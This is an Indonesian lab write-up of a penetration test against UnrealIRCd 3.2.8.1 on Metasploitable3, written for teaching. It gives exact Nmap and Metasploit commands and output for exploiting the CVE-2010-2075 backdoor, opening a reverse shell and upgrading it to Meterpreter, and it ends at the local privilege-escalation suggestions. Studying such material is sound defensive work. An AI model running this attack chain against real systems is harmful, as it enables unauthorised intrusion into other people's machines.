

STUDI KASUS PENETRATION TESTING TERHADAP UNREALIRCD 3.2.8.1 PADA LINGKUNGAN METASPLOITABLE3

Penulis : Muhammad Ganjar Maulana

Tanggal: 07 Juli 2026

Lingkungan Pengujian: Metasploitable3 Lab

Target: UnrealIRCd 3.2.8.1

Abstrak

Penelitian ini mendokumentasikan proses *penetration testing* terhadap layanan UnrealIRCd 3.2.8.1 yang berjalan pada lingkungan laboratorium Metasploitable3. Pengujian dilakukan untuk memahami bagaimana sebuah layanan yang memiliki kerentanan dapat dimanfaatkan sebagai titik awal akses ke sistem, serta bagaimana akses tersebut berpotensi berkembang menjadi kompromi sistem secara penuh apabila tidak dilakukan pembaruan dan penguatan keamanan secara memadai.

Metodologi pengujian mencakup tahapan *reconnaissance*, *service enumeration*, *vulnerability identification*, *initial access*, *post-exploitation*, dan *privilege escalation*. Hasil pengujian menunjukkan bahwa kerentanan pada UnrealIRCd dapat memberikan akses awal dengan hak pengguna biasa. Selanjutnya, melalui proses enumerasi lanjutan, ditemukan potensi peningkatan hak akses dengan memanfaatkan kerentanan lokal pada sistem.

Studi kasus ini menunjukkan pentingnya penerapan *patch management*, *hardening* sistem, segmentasi jaringan, serta *vulnerability assessment* secara berkala. Selain itu, studi kasus ini juga menegaskan bahwa kerentanan lama tetap memiliki nilai pembelajaran yang tinggi dalam memahami pola serangan, *attack chain*, dan penyusunan rekomendasi mitigasi keamanan informasi.

Kata kunci: *Penetration Testing, UnrealIRCd, Metasploitable3, CVE-2010-2075, CVE-2021-4034, Privilege Escalation, Cybersecurity.*

Disclaimer

Seluruh aktivitas pengujian yang dijelaskan dalam dokumen ini dilakukan pada lingkungan laboratorium yang terkontrol menggunakan Metasploitable3, yaitu sistem yang memang dirancang rentan untuk kebutuhan pembelajaran, pelatihan, dan penelitian keamanan informasi. Pengujian tidak dilakukan terhadap sistem produksi, jaringan publik, infrastruktur pihak ketiga, atau aset digital tanpa izin.

Dokumen ini disusun untuk tujuan edukasi, dokumentasi pembelajaran, dan peningkatan kesadaran keamanan siber. Informasi yang disajikan tidak dimaksudkan untuk mendorong, memfasilitasi, atau membenarkan aktivitas ilegal, eksploitasi tanpa otorisasi, maupun tindakan yang dapat merugikan pihak lain.

Setiap teknik, analisis, dan hasil pengujian dalam laporan ini harus dipahami dalam konteks ethical hacking dan authorized security testing. Penerapan teknik serupa di luar lingkungan yang sah dan tanpa persetujuan tertulis dari pemilik sistem merupakan tindakan yang tidak etis dan dapat melanggar hukum.

DAFTAR ISI

Abstrak	2
Disclaimer	3
1 Pendahuluan.....	5
2 Latar Belakang	5
2.1 Tentang UnrealIRCd	5
2.2 Kerentanan.....	6
3 Tujuan Pengujian	7
4 Ruang Lingkup Pengujian	7
5 Metodologi.....	8
5.1 Reconnaissance.....	8
5.2 Initial Access / Exploitation	8
5.3 Post-Exploitation	8
5.4 Tools yang Digunakan	9
6 Hasil dan Pembahasan.....	10
6.1 Fase Reconnaissance	10
6.1.1 Network Scan	10
6.1.2 Analisis Hasil Scan	11
6.1.3 Kesimpulan Reconnaissance	12
6.2 Fase Initial Access / Exploitation	12
6.2.1 Load Exploit Module.....	12
6.2.2 Load dan Konfigurasi Exploit.....	13
6.2.3 Execution dan Hasil	14
6.2.4 Verifikasi Initial Shell	15
6.3 Fase Post-Exploitation	16
6.3.1 Peningkatan Sesi Shell ke Meterpreter	16
6.3.2 Verifikasi Sesi Meterpreter	17
6.3.3 Privilege Escalation Enumeration.....	18
6.3.4 Validasi Privilege Escalation	20
6.3.5 Verifikasi Root Access	21
6.4 Attack Chain Summary	23
7 Analisis Dampak	24
7.1 Ringkasan Temuan dan Dampak.....	24
8 Saran dan Rekomendasi	25
9 Kesimpulan.....	26
10 Referensi.....	27

1 Pendahuluan

Keamanan sistem informasi merupakan aspek penting dalam menjaga kerahasiaan, integritas, dan ketersediaan layanan digital. Seiring meningkatnya ketergantungan organisasi terhadap teknologi informasi, risiko eksploitasi terhadap layanan yang tidak diperbarui atau memiliki konfigurasi lemah juga semakin besar. Oleh karena itu, diperlukan proses evaluasi keamanan secara berkala untuk mengidentifikasi potensi kerentanan sebelum dimanfaatkan oleh pihak yang tidak berwenang.

Salah satu metode yang digunakan untuk mengevaluasi keamanan sistem adalah *penetration testing*, yaitu proses pengujian keamanan dengan mensimulasikan skenario serangan pada lingkungan yang telah mendapatkan izin. Melalui *penetration testing*, penguji dapat memahami bagaimana sebuah kerentanan dapat dimanfaatkan, sejauh mana dampaknya terhadap sistem, serta langkah mitigasi yang diperlukan untuk mengurangi risiko keamanan.

Laporan ini mendokumentasikan studi kasus *penetration testing* terhadap layanan UnrealIRCd 3.2.8.1 yang berjalan pada lingkungan laboratorium Metasploitable3. UnrealIRCd versi tersebut diketahui memiliki riwayat kerentanan yang dapat dimanfaatkan untuk memperoleh akses awal ke sistem. Pengujian dilakukan untuk memahami tahapan serangan mulai dari identifikasi layanan, validasi kerentanan, akses awal, hingga analisis potensi peningkatan hak akses.

Seluruh aktivitas pengujian dilakukan dalam lingkungan laboratorium yang terkontrol dan digunakan untuk tujuan pembelajaran keamanan informasi. Fokus utama laporan ini bukan hanya pada keberhasilan eksploitasi, tetapi juga pada pemahaman metodologi *penetration testing*, analisis dampak keamanan, serta penyusunan rekomendasi mitigasi yang relevan.

2 Latar Belakang

2.1 Tentang UnrealIRCd

UnrealIRCd merupakan perangkat lunak *Internet Relay Chat* (IRC) server yang bersifat *open-source* dan digunakan untuk menyediakan layanan komunikasi berbasis IRC. Dalam studi kasus ini, layanan yang diuji adalah UnrealIRCd versi 3.2.8.1 yang berjalan pada lingkungan laboratorium Metasploitable3.

Versi UnrealIRCd 3.2.8.1 diketahui memiliki riwayat kerentanan serius akibat adanya modifikasi tidak sah pada paket distribusi tertentu. Berdasarkan informasi National Vulnerability Database (NVD), UnrealIRCd 3.2.8.1 yang didistribusikan melalui

beberapa *mirror site* pada periode tertentu mengandung modifikasi eksternal berupa *Trojan Horse* yang memungkinkan eksekusi perintah dari jarak jauh. Kerentanan ini tercatat sebagai **CVE-2010-2075**.

Kasus ini menjadi salah satu contoh penting dalam keamanan informasi karena menunjukkan risiko *supply chain attack*, yaitu serangan yang memanfaatkan proses distribusi perangkat lunak untuk menyisipkan komponen berbahaya sebelum perangkat lunak digunakan oleh pengguna akhir.

2.2 Kerentanan

Berdasarkan hasil identifikasi dan analisis pada lingkungan pengujian, terdapat beberapa komponen dan kerentanan yang menjadi fokus dalam studi kasus ini.

Tabel 2.2 Kerentanan

No	Kerentanan	Jenis	Komponen / Versi Terdampak	Deskripsi	Dampak	Tingkat Risiko
1	UnrealIRCd Backdoor Command Execution — CVE-2010-2075	<i>Backdoor / Remote Command Execution</i>	UnrealIRCd 3.2.8.1 pada paket distribusi tertentu	Kerentanan ini berkaitan dengan adanya modifikasi tidak sah pada distribusi UnrealIRCd 3.2.8.1. Modifikasi tersebut memungkinkan pihak tidak berwenang menjalankan perintah pada sistem yang menjalankan versi terdampak.	Penyerang jarak jauh berpotensi memperoleh akses awal ke sistem dengan hak akses sesuai proses layanan UnrealIRCd yang berjalan.	Tinggi
2	PwnKit — CVE-2021-4034	<i>Local Privilege Escalation</i>	Polkit pkexec	Kerentanan pada utilitas pkexec dalam Polkit dapat dimanfaatkan oleh pengguna lokal yang tidak memiliki hak istimewa untuk memperoleh hak akses administratif pada sistem yang rentan.	Pengguna lokal dapat meningkatkan hak akses menjadi administrator atau <i>root</i> apabila sistem masih rentan.	Tinggi / CVSS 7.8

3 Tujuan Pengujian

Tujuan dari pengujian ini adalah sebagai berikut:

1. Mengidentifikasi layanan UnrealIRCd 3.2.8.1 yang memiliki kerentanan pada lingkungan laboratorium Metasploitable3.
2. Menganalisis potensi pemanfaatan kerentanan UnrealIRCd sebagai titik awal akses ke sistem dalam konteks pengujian yang terkontrol.
3. Melakukan enumerasi pasca akses awal untuk memahami kondisi sistem, hak akses pengguna, dan potensi peningkatan hak akses.
4. Menganalisis kemungkinan peningkatan hak akses dari pengguna biasa menjadi hak akses administratif pada sistem yang rentan.
5. Mendokumentasikan alur pengujian atau *attack chain* secara sistematis, mulai dari tahap *reconnaissance*, identifikasi kerentanan, akses awal, hingga analisis dampak.
6. Memberikan pemahaman praktis mengenai penerapan metodologi *penetration testing* dalam lingkungan laboratorium yang aman dan terkontrol.
7. Menyusun rekomendasi mitigasi yang relevan, terutama terkait *patch management*, *security hardening*, pembatasan layanan, dan pemantauan keamanan sistem.

4 Ruang Lingkup Pengujian

Pengujian ini dilakukan pada lingkungan laboratorium Metasploitable3 yang telah disiapkan untuk kebutuhan pembelajaran keamanan informasi. Target utama pengujian adalah layanan UnrealIRCd 3.2.8.1 yang berjalan pada sistem tersebut.

Ruang lingkup pengujian mencakup identifikasi layanan, enumerasi versi, analisis kerentanan, validasi akses awal, enumerasi pasca akses awal, analisis potensi peningkatan hak akses, serta penyusunan rekomendasi mitigasi. Pengujian tidak mencakup sistem produksi, jaringan publik, infrastruktur pihak ketiga, atau aset digital yang tidak memiliki izin pengujian.

Seluruh aktivitas dilakukan dalam lingkungan yang terkontrol dan hanya digunakan untuk tujuan edukasi, dokumentasi pembelajaran, serta peningkatan pemahaman terhadap metodologi *penetration testing*.

5 Metodologi

Pengujian ini menggunakan pendekatan *penetration testing* yang dilakukan secara bertahap dalam lingkungan laboratorium Metasploitable3. Metodologi yang digunakan mencakup proses identifikasi layanan, analisis kerentanan, validasi akses awal, enumerasi pasca akses awal, serta analisis potensi peningkatan hak akses.

Seluruh tahapan dilakukan secara terkontrol dan terdokumentasi untuk memastikan bahwa hasil pengujian dapat dianalisis secara sistematis serta menghasilkan rekomendasi mitigasi yang relevan.

5.1 Reconnaissance

Tahap *reconnaissance* dilakukan untuk mengumpulkan informasi awal mengenai sistem target. Pada tahap ini, penguji melakukan identifikasi terhadap alamat target, port yang terbuka, serta layanan yang berjalan pada masing-masing port.

Tujuan dari tahap ini adalah memperoleh gambaran awal mengenai *attack surface* yang tersedia pada sistem target. Informasi yang diperoleh dari tahap ini menjadi dasar untuk melakukan analisis lebih lanjut terhadap layanan yang berpotensi memiliki kerentanan.

5.2 Initial Access / Exploitation

Setelah layanan yang berpotensi rentan berhasil diidentifikasi, tahap berikutnya adalah melakukan validasi terhadap kerentanan tersebut dalam lingkungan laboratorium yang telah mendapatkan izin. Pada studi kasus ini, layanan UnrealIRCd 3.2.8.1 menjadi fokus pengujian karena memiliki riwayat kerentanan yang memungkinkan akses awal ke sistem.

Tahap ini bertujuan untuk memahami bagaimana sebuah layanan yang rentan dapat dimanfaatkan sebagai titik awal akses ke sistem. Akses yang diperoleh pada tahap ini masih berada pada tingkat pengguna biasa, sehingga diperlukan proses analisis lanjutan untuk memahami dampak keamanan yang lebih luas.

5.3 Post-Exploitation

Tahap *post-exploitation* dilakukan setelah akses awal berhasil diperoleh. Tujuan dari tahap ini adalah memahami kondisi sistem setelah akses awal, melakukan enumerasi informasi sistem, serta mengidentifikasi kemungkinan adanya kelemahan lain yang dapat meningkatkan risiko keamanan.

Aktivitas yang dilakukan pada tahap ini meliputi:

1. Verifikasi identitas pengguna dan hak akses yang diperoleh.
2. Enumerasi informasi sistem operasi dan lingkungan target.
3. Identifikasi potensi jalur peningkatan hak akses.
4. Analisis terhadap konfigurasi sistem yang berpotensi meningkatkan dampak serangan.
5. Dokumentasi hasil temuan untuk kebutuhan analisis dan rekomendasi mitigasi.

5.4 Tools yang Digunakan

Pengujian dilakukan dari sisi mesin penguji berbasis Kali Linux. Kali Linux digunakan karena menyediakan berbagai perangkat keamanan informasi yang umum digunakan dalam aktivitas *penetration testing*, seperti Nmap, Metasploit Framework, dan tools pendukung lainnya.

Dalam pengujian ini digunakan beberapa *tools* dan platform pendukung untuk proses identifikasi, validasi, enumerasi, serta dokumentasi hasil pengujian. Tools yang digunakan ditampilkan pada tabel berikut.

Tabel 5.4 Tools Penetration Testing

No	Tools	Fungsi
1	Nmap	Digunakan untuk melakukan <i>port scanning</i> dan <i>service detection</i> pada target.
2	OpenVAS	Digunakan untuk melakukan pemindaian kerentanan dan membantu mengidentifikasi potensi risiko pada sistem.
3	Metasploit Framework	Digunakan dalam lingkungan lab untuk validasi kerentanan dan pengujian akses awal secara terkontrol.
4	Meterpreter	Digunakan untuk mendukung proses enumerasi pasca akses awal dalam lingkungan pengujian.
5	Kali Linux	Digunakan sebagai sistem operasi utama pada sisi penguji yang menyediakan berbagai tools keamanan informasi untuk proses <i>penetration testing</i> .

Selain tools di atas, pengujian ini juga menggunakan dokumentasi CVE, National Vulnerability Database (NVD), dan referensi teknis terkait sebagai sumber informasi untuk memvalidasi detail kerentanan, memahami dampak risiko, serta menyusun rekomendasi mitigasi.

6 Hasil dan Pembahasan

6.1 Fase Reconnaissance

6.1.1 Network Scan

Tahap *network scan* dilakukan untuk mengidentifikasi port yang terbuka serta layanan yang berjalan pada sistem target. Pada tahap ini digunakan Nmap dengan opsi *service version detection* untuk mengetahui versi layanan yang aktif pada beberapa port yang relevan dengan layanan IRC.

Pemindaian dilakukan terhadap port 6697, 6667, dan 6900. Port 6697 dan 6667 merupakan port yang umum digunakan untuk layanan IRC, sedangkan port 6900 turut diperiksa untuk memastikan apakah terdapat layanan tambahan yang dapat diakses pada target.

Perintah yang digunakan adalah sebagai berikut:

```
nmap -sV -p 6697,6667,6900 192.168.56.114
```

Keterangan parameter:

Table 6.1-1 Parameter Network Scan

Parameter	Keterangan
nmap	Tools yang digunakan untuk melakukan pemindaian jaringan.
-sV	Digunakan untuk mendeteksi versi layanan yang berjalan pada port terbuka.
-p 6697,6667,6900	Menentukan port yang akan dipindai.
192.168.56.114	Alamat IP target pada lingkungan laboratorium.

Hasil scan :

```
root@kali: /home/kali

(root@kali)~[/home/kali]
# nmap -sV -p 6697,6667,6900 192.168.56.114
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-07 22:38 -0400
Nmap scan report for 192.168.56.114
Host is up (0.00090s latency).

PORT      STATE      SERVICE      VERSION
6667/tcp  filtered  irc
6697/tcp  open       irc          UnrealIRCd
6900/tcp  filtered  rtimeviewer
MAC Address: 08:00:27:42:51:79 (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.TestIRC.net

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds
```

Gambar 6.1.1 Hasil Scan

6.1.2 Analisis Hasil Scan

Berdasarkan hasil pemindaian menggunakan Nmap, ditemukan beberapa informasi penting terkait layanan yang berjalan pada sistem target. Hasil pemindaian menunjukkan bahwa port 6697 dalam status terbuka dan menjalankan layanan UnrealIRCd. Layanan ini menjadi fokus utama pengujian karena versi yang digunakan memiliki riwayat kerentanan yang relevan dengan studi kasus.

Sementara itu, port 6667 dan 6900 berada dalam status *filtered*. Status ini menunjukkan bahwa Nmap tidak dapat memastikan apakah port tersebut terbuka atau tertutup karena kemungkinan adanya mekanisme penyaringan lalu lintas, seperti *firewall* atau aturan iptables pada sistem target.

Ringkasan hasil analisis pemindaian ditampilkan pada tabel berikut :

Tabel 6.1.2 Analisis Hasil Pemindaian Nmap

No	Port	Status	Layanan	Analisis
1	6697	Open	UnrealIRCd	Port ini terbuka dan menjalankan layanan UnrealIRCd. Layanan ini menjadi target utama dalam pengujian karena versi yang teridentifikasi memiliki riwayat kerentanan.
2	6667	Filtered	IRC Standard	Port ini berada dalam status <i>filtered</i> . Kemungkinan akses ke port dibatasi oleh <i>firewall</i> atau aturan iptables pada sistem target.
3	6900	Filtered	Tidak dapat dipastikan	Port ini juga berada dalam status <i>filtered</i> , sehingga layanan pada port tersebut tidak dapat diidentifikasi secara langsung melalui hasil pemindaian.
4	Service Signature	Teridentifikasi	UnrealIRCd	Hasil deteksi layanan menunjukkan adanya UnrealIRCd pada target, sehingga dilakukan analisis lebih lanjut terhadap potensi kerentanan pada layanan tersebut.

6.1.3 Kesimpulan Reconnaissance

Berdasarkan hasil pemindaian dan analisis layanan, ditemukan bahwa layanan IRC berbasis UnrealIRCd berjalan aktif pada port 6697 dan dapat diakses dari mesin pengujian dalam lingkungan laboratorium. Informasi ini menunjukkan bahwa layanan tersebut menjadi salah satu permukaan serangan (*attack surface*) yang relevan untuk dianalisis lebih lanjut.

Hasil identifikasi layanan menunjukkan bahwa UnrealIRCd yang berjalan pada target memiliki riwayat kerentanan yang berkaitan dengan eksekusi perintah jarak jauh. Oleh karena itu, layanan ini ditetapkan sebagai fokus utama pada tahap pengujian berikutnya, yaitu validasi kerentanan dan analisis potensi akses awal pada sistem target.

6.2 Fase Initial Access / Exploitation

6.2.1 Load Exploit Module

Setelah layanan UnrealIRCd berhasil diidentifikasi pada tahap *reconnaissance*, langkah berikutnya adalah melakukan pencarian modul yang relevan pada Metasploit Framework. Pencarian modul dilakukan untuk mengetahui apakah tersedia modul pengujian yang sesuai dengan kerentanan UnrealIRCd 3.2.8.1 dalam lingkungan laboratorium.

Metasploit Framework dijalankan dari mesin pengujian berbasis Kali Linux. Setelah konsol Metasploit terbuka, dilakukan pencarian modul dengan kata kunci yang berkaitan dengan UnrealIRCd.

Perintah yang digunakan adalah sebagai berikut:

```
msfconsole
search unreal
```

Modul yang ditemukan:

```
msf > search unreal

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -
0  exploit/linux/games/ut2004_secure         2004-06-18      good    Yes    Unreal Tournament 2004 "secure" Overflow (Linux)
1  \_ target: Automatic                      .               .       .       .
2  \_ target: UT2004 Linux Build 3120        .               .       .       .
3  \_ target: UT2004 Linux Build 3186        .               .       .       .
4  exploit/windows/games/ut2004_secure        2004-06-18      good    Yes    Unreal Tournament 2004 "secure" Overflow (Win32)
5  exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12      excellent Yes    UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/irc/unreal_ircd_3281_backdoor
```

Gambar 6.2.1 Modul Exploit IRC

Berdasarkan hasil pencarian tersebut, terdapat modul exploit/unix/irc/unreal_ircd_3281_backdoor dipilih karena sesuai dengan versi layanan UnrealIRCd yang teridentifikasi pada target. Penggunaan modul ini dilakukan hanya dalam lingkungan laboratorium yang telah disiapkan untuk kebutuhan pembelajaran dan pengujian keamanan.

6.2.2 Load dan Konfigurasi Exploit

Setelah modul yang relevan ditemukan, langkah berikutnya adalah memuat modul tersebut ke dalam Metasploit Framework. Modul yang digunakan sesuai dengan kerentanan UnrealIRCd 3.2.8.1 yang telah teridentifikasi pada tahap sebelumnya.

Perintah untuk memuat modul adalah sebagai berikut:

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
```

Setelah modul berhasil dimuat, dilakukan konfigurasi parameter agar modul dapat berjalan sesuai dengan lingkungan pengujian. Parameter yang dikonfigurasi mencakup alamat IP target, port layanan, jenis *payload*, alamat IP mesin penguji, dan port koneksi balik.

Konfigurasi parameter yang digunakan adalah sebagai berikut:

```
set RHOSTS 192.168.56.114
set RPORT 6697
set payload cmd/unix/reverse
set LHOST 192.168.56.116
set LPORT 4444
show options
```

Table 6.2-1 Konfigurasi Parameter Modul

Parameter	Nilai	Keterangan
RHOSTS	192.168.56.114	Alamat IP target pada lingkungan laboratorium Metasploitable3.
RPORT	6697	Port layanan UnrealIRCd yang teridentifikasi aktif pada target.
payload	cmd/unix/reverse	Jenis <i>payload</i> yang digunakan untuk memperoleh koneksi balik pada lingkungan pengujian.
LHOST	192.168.56.116	Alamat IP mesin penguji yang digunakan untuk menerima koneksi balik.
LPORT	4444	Port pada mesin penguji yang digunakan untuk menerima koneksi balik.
show options	-	Perintah untuk menampilkan dan memverifikasi konfigurasi parameter sebelum proses validasi dijalankan.

Konfigurasi ini dilakukan untuk memastikan bahwa modul berjalan sesuai dengan kondisi jaringan pada lingkungan pengujian. Sebelum tahap eksekusi dilakukan, seluruh parameter diverifikasi kembali menggunakan perintah `show options` untuk memastikan tidak terdapat kesalahan konfigurasi.

```

root@kali: /home/kali
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.56.114   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     6697             yes       The target port (TCP)

Payload options (cmd/unix/reverse):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.56.116   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux/Unix Command
  
```

Gambar 6.2.2 Konfigurasi Exploit

6.2.3 Execution dan Hasil

Setelah seluruh parameter konfigurasi diverifikasi, modul dijalankan pada lingkungan laboratorium untuk melakukan validasi terhadap kerentanan UnrealIRCd 3.2.8.1. Eksekusi dilakukan setelah memastikan bahwa alamat IP target, port layanan, payload, dan listener pada mesin pengujian telah sesuai dengan kondisi jaringan pengujian.

Perintah yang digunakan:

```
exploit
```

```

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.56.116:4444
[*] 192.168.56.114:6697 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.56.114:6697 - Connected to 192.168.56.114:6697
[*] 192.168.56.114:6697 - Trying to register a new IRC user: lamar
[+] 192.168.56.114:6697 - The target appears to be vulnerable. UnrealIRCd detected after registration
[*] 192.168.56.114:6697 - Connected to 192.168.56.114:6697
[*] 192.168.56.114:6697 - Sending IRC backdoor command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 3LZgzk8s4hKulA7m;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "3LZgzk8s4hKulA7m\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.116:4444 -> 192.168.56.114:55677) at 2026-07-08 00:10:31 -0400
  
```

Gambar 6.2.3 Hasil Exploit

Berdasarkan hasil eksekusi, Metasploit Framework berhasil terhubung ke layanan UnrealIRCd pada target. Output menunjukkan bahwa target terdeteksi rentan dan sesi command shell berhasil terbuka dari sistem target ke mesin penguji. Hal ini menunjukkan bahwa kerentanan pada layanan UnrealIRCd dapat dimanfaatkan untuk memperoleh akses awal pada sistem dalam lingkungan laboratorium yang terkontrol.

6.2.4 Verifikasi Initial Shell

Setelah proses eksekusi modul menghasilkan sesi *command shell*, dilakukan verifikasi untuk memastikan identitas pengguna yang diperoleh pada sistem target. Verifikasi ini penting untuk mengetahui tingkat hak akses yang berhasil diperoleh pada tahap akses awal.

Perintah yang digunakan adalah sebagai berikut:

```
whoami
[*] Command shell session 1 opened (192.168.56.116:4444 -> 192.168.56.114:55677) at 2026-07-08 00:10:31 -0400
whoami
boba_fett
```

Gambar 6.2.4 Verifikasi Exploit

Hasil dari perintah tersebut menunjukkan bahwa sesi *shell* berjalan dengan pengguna **boba_fett**. Pengguna ini merupakan akun dengan hak akses biasa, bukan akun dengan hak akses administrator atau *root*.

Analisis:

1. Proses validasi kerentanan berhasil menghasilkan sesi *command shell* pada sistem target.
2. Hasil verifikasi menunjukkan bahwa akses diperoleh sebagai pengguna **boba_fett**.
3. Hak akses yang diperoleh masih berada pada level pengguna biasa, sehingga belum memiliki hak administratif penuh.
4. Kondisi ini menunjukkan bahwa tahap *initial access* berhasil, tetapi diperlukan proses enumerasi lanjutan untuk menganalisis potensi *privilege escalation* pada sistem target.
5. Tahap berikutnya difokuskan pada aktivitas *post-exploitation* untuk mengidentifikasi informasi sistem, hak akses pengguna, serta kemungkinan peningkatan hak akses dalam lingkungan laboratorium.

6.3 Fase Post-Exploitation

6.3.1 Peningkatan Sesi Shell ke Meterpreter

Setelah akses awal berhasil diperoleh, sesi yang didapatkan masih berupa *basic command shell*. Jenis *shell* ini memiliki keterbatasan dari sisi stabilitas, fleksibilitas, dan fitur pendukung untuk proses enumerasi lanjutan. Oleh karena itu, pada tahap ini dilakukan peningkatan sesi dari *command shell* ke Meterpreter agar proses *post-exploitation* dapat dilakukan dengan lebih terstruktur dalam lingkungan laboratorium. Meterpreter digunakan karena menyediakan beberapa fitur yang mendukung proses analisis sistem setelah akses awal diperoleh. Beberapa alasan penggunaan Meterpreter pada tahap ini antara lain:

1. *Basic command shell* memiliki keterbatasan dari sisi stabilitas dan interaktivitas.
2. Meterpreter menyediakan fungsi bawaan untuk membantu proses enumerasi sistem.
3. Meterpreter mendukung penggunaan skrip dan otomasi untuk pengumpulan informasi.
4. Meterpreter memudahkan proses analisis hak akses, informasi sistem, dan identifikasi potensi peningkatan hak akses.
5. Penggunaan Meterpreter membantu dokumentasi proses *post-exploitation* agar lebih sistematis.

Perintah yang digunakan adalah sebagai berikut:

```
background
sessions -l
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 192.168.56.116
set LPORT 4433
run
```

Keterangan parameter:

Parameter / Perintah	Keterangan
background	Mengembalikan sesi aktif ke latar belakang agar Metasploit dapat digunakan kembali.
sessions -l	Menampilkan daftar sesi yang sedang aktif.
use post/multi/manage/shell_to_meterpreter	Memuat modul untuk mengubah sesi <i>command shell</i> menjadi sesi Meterpreter.

set SESSION 1	Menentukan sesi <i>shell</i> yang akan ditingkatkan ke Meterpreter.
set LHOST 192.168.56.116	Menentukan alamat IP mesin pengujian yang akan menerima koneksi Meterpreter.
set LPORT 4433	Menentukan port pada mesin pengujian untuk menerima koneksi Meterpreter.
run	Menjalankan modul yang telah dikonfigurasi.

Output :

```
msf post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.116:4433
[*] Sending stage (1062760 bytes) to 192.168.56.114
[*] Meterpreter session 3 opened (192.168.56.116:4433 -> 192.168.56.114:33510) at 2026-07-08 00:41:20 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > █
```

Gambar 6.3.1 Upgrade Meterpreter

Berdasarkan hasil eksekusi, proses peningkatan sesi berhasil dilakukan dan menghasilkan sesi Meterpreter baru. Sesi Meterpreter tersebut kemudian digunakan untuk melakukan verifikasi identitas pengguna, informasi sistem, serta enumerasi lanjutan pada tahap berikutnya.

6.3.2 Verifikasi Sesi Meterpreter

Setelah proses peningkatan sesi dari *command shell* ke Meterpreter dilakukan, tahap berikutnya adalah melakukan verifikasi terhadap sesi Meterpreter yang terbentuk. Verifikasi ini bertujuan untuk memastikan bahwa sesi baru telah aktif, dapat diakses, dan berjalan pada sistem target yang sama.

Perintah yang digunakan adalah sebagai berikut:

```
sessions -l
sessions -i 3
getuid
sysinfo
```

Keterangan perintah:

Perintah	Keterangan
sessions -l	Menampilkan daftar sesi aktif pada Metasploit Framework.
sessions -i 3	Mengakses sesi Meterpreter dengan ID sesi tertentu.
getuid	Menampilkan identitas pengguna yang sedang menjalankan sesi Meterpreter.
sysinfo	Menampilkan informasi sistem target, seperti nama host, sistem operasi, arsitektur, dan informasi terkait lainnya.

Output :

```
msf post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: boba_fett
meterpreter > sysinfo
Computer      : metasploitable3-ubl404
OS            : Ubuntu 14.04 (Linux 3.13.0-24-generic)
Architecture : x64
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter >
```

Gambar 6.3.2 Verifikasi Meterpreter

Berdasarkan hasil verifikasi, sesi Meterpreter berhasil dibuat dan dapat diakses dari Metasploit Framework. Perintah `getuid` digunakan untuk memastikan identitas pengguna pada sesi tersebut, sedangkan `sysinfo` digunakan untuk mengonfirmasi informasi sistem target. Hasil ini menunjukkan bahwa sesi Meterpreter telah aktif dan dapat digunakan untuk proses enumerasi lanjutan dalam tahap *post-exploitation*.

6.3.3 Privilege Escalation Enumeration

Setelah sesi Meterpreter berhasil diverifikasi, tahap berikutnya adalah melakukan enumerasi untuk mengidentifikasi kemungkinan jalur peningkatan hak akses pada sistem target. Enumerasi ini bertujuan untuk mengetahui apakah sistem memiliki kerentanan lokal yang dapat dimanfaatkan untuk meningkatkan hak akses dari pengguna biasa menjadi hak akses yang lebih tinggi.

Pada tahap ini digunakan modul `local_exploit_suggester` dari Metasploit Framework. Modul ini digunakan untuk memberikan rekomendasi exploit lokal yang berpotensi relevan berdasarkan informasi sistem target dan sesi yang sedang aktif.

Perintah yang digunakan adalah sebagai berikut:

```
background
use post/multi/recon/local_exploit_suggester
set SESSION 2
run
```

Keterangan perintah:

Perintah	Keterangan
background	Mengembalikan sesi Meterpreter aktif ke latar belakang agar Metasploit dapat digunakan kembali.
use post/multi/recon/local_exploit_suggester	Memuat modul untuk melakukan enumerasi potensi exploit lokal pada sistem target.
set SESSION 2	Menentukan sesi Meterpreter yang akan dianalisis oleh modul.
run	Menjalankan modul enumerasi.

Output :

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.56.114 - Collecting local exploits for x86/linux...
[*] 192.168.56.114 - 255 exploit checks are being tried...
[*] 192.168.56.114 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable. pkexec appears to be vulnerable
[*] 192.168.56.114 - exploit/linux/local/docker_daemon_privilege_escalation: The target is vulnerable. Docker daemon is accessible
[*] 192.168.56.114 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable. Target appears to be vulnerable
[*] 192.168.56.114 - exploit/linux/local/overlayfs_priv_esc: The target appears to be vulnerable. Target appears to be vulnerable
[*] 192.168.56.114 - exploit/linux/local/pkexec: The service is running, but could not be validated. pkexec version 0.105 is installed but may not be vulnerable
[*] 192.168.56.114 - exploit/linux/local/su_login: The target appears to be vulnerable. Target appears to be vulnerable
